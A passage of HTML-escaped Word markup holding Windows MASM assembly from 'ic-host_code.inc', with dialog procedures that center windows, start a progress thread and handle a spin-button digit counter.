&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;span style=""&gt;          &lt;/span&gt;&lt;span style=""&gt;                            &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 103&lt;span style=""&gt;       &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;                             &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push hInst&lt;span style=""&gt;         &lt;/span&gt;&lt;span style=""&gt;                           &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call DialogBoxParamA&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;                        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;Leave:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call ExitProcess&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;============================[ ic-host_code.inc ]============================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MYDIALOG_0 proc handle, umsg, wparam, lparam: dword&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckParameter:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [umsg], WM_INITDIALOG&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je CenterDlg&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [umsg], WM_DESTROY&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je Exit&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [umsg], WM_CLOSE&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je Exit &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp flag, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je CreateProgressThread&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp flag, 02h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je Exit&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CenterDlg:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push offset dlgrect&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;call GetWindowRect&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GetDesktopWindow&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push offset desktoprect&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;call GetWindowRect&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov eax, dlgrect.rcBottom&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;sub eax, dlgrect.rcTop&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov dlgheight, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push eax&lt;span style=""&gt;                                              &lt;/span&gt;; height&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov eax, dlgrect.rcRight&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;sub eax, dlgrect.rcLeft&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov dlgwidth, eax&lt;span style=""&gt;                                     &lt;/span&gt;; width&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov eax, desktoprect.rcBottom&lt;span style=""&gt;         &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;sub eax, dlgheight&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;shr eax, 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push eax&lt;span style=""&gt;                                              &lt;/span&gt;; bottom&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov eax, desktoprect.rcRight&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;sub eax, dlgwidth&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;shr eax, 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push eax&lt;span style=""&gt;                                              &lt;/span&gt;; top&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push handle&lt;span style=""&gt;                                           &lt;/span&gt;; handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;call MoveWindow&lt;span style=""&gt;                                       &lt;/span&gt;; move to center&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov flag, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CreateProgressThread:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push offset threadid&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push offset PROGRESS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call CreateThread&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov flag, 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;Exit:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push wparam&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call EndDialog&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MYDIALOG_0 endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;MYDIALOG_1 proc handle, umsg, wparam, lparam: dword&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckParameter1:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [umsg], WM_INITDIALOG&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je CenterDlg1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [umsg], WM_DESTROY&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je Exit1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [umsg], WM_CLOSE&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je Exit1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [umsg], WM_COMMAND&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je CheckCommand&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [umsg], WM_VSCROLL&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je SpinButtonClick&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp initflag, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je InitValues &lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CheckCommand:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [wparam], 1009&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je Exit&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp [wparam], 1014&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je SetOkFlag&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SpinButtonClick:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, [wparam]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;rol ecx, 16&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ax, cx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, pastvalue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp ecx, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jge PressedUp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;PressedDown:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov pastvalue, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp doneflag, 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne Reset&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp currentvalue, '0'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je DontDecrease&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;dec byte ptr currentvalue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;DontDecrease:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push offset currentvalue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push WM_SETTEXT&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 1003&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov doneflag, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;PressedUp:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov pastvalue, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp currentvalue, '9'&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je Reset&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp doneflag, 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne Reset&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc byte ptr currentvalue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push offset currentvalue&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push WM_SETTEXT&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 1003&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendDlgItemMessageA&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov doneflag, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;Reset:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov doneflag, 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SetOkFlag:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov okflag, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp Exit&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CenterDlg1:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push offset dlgrect&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;call GetWindowRect&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GetDesktopWindow&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push offset desktoprect&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;call GetWindowRect&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov eax, dlgrect.rcBottom&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;sub eax, dlgrect.rcTop&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov dlgheight, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push eax&lt;span style=""&gt;                              &lt;/span&gt;; height&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov eax, dlgrect.rcRight&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;sub eax, dlgrect.rcLeft&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov dlgwidth, eax&lt;span style=""&gt;                     &lt;/span&gt;; width&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov eax, desktoprect.rcBottom&lt;span style=""&gt;         &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;sub eax, dlgheight&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;shr eax, 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push eax&lt;span style=""&gt;                              &lt;/span&gt;; bottom&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;mov eax, desktoprect.rcRight&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;sub eax, dlgwidth&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;shr eax, 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push eax&lt;span style=""&gt;                              &lt;/span&gt;; top&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;push handle&lt;span style=""&gt;                           &lt;/span&gt;; handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt;    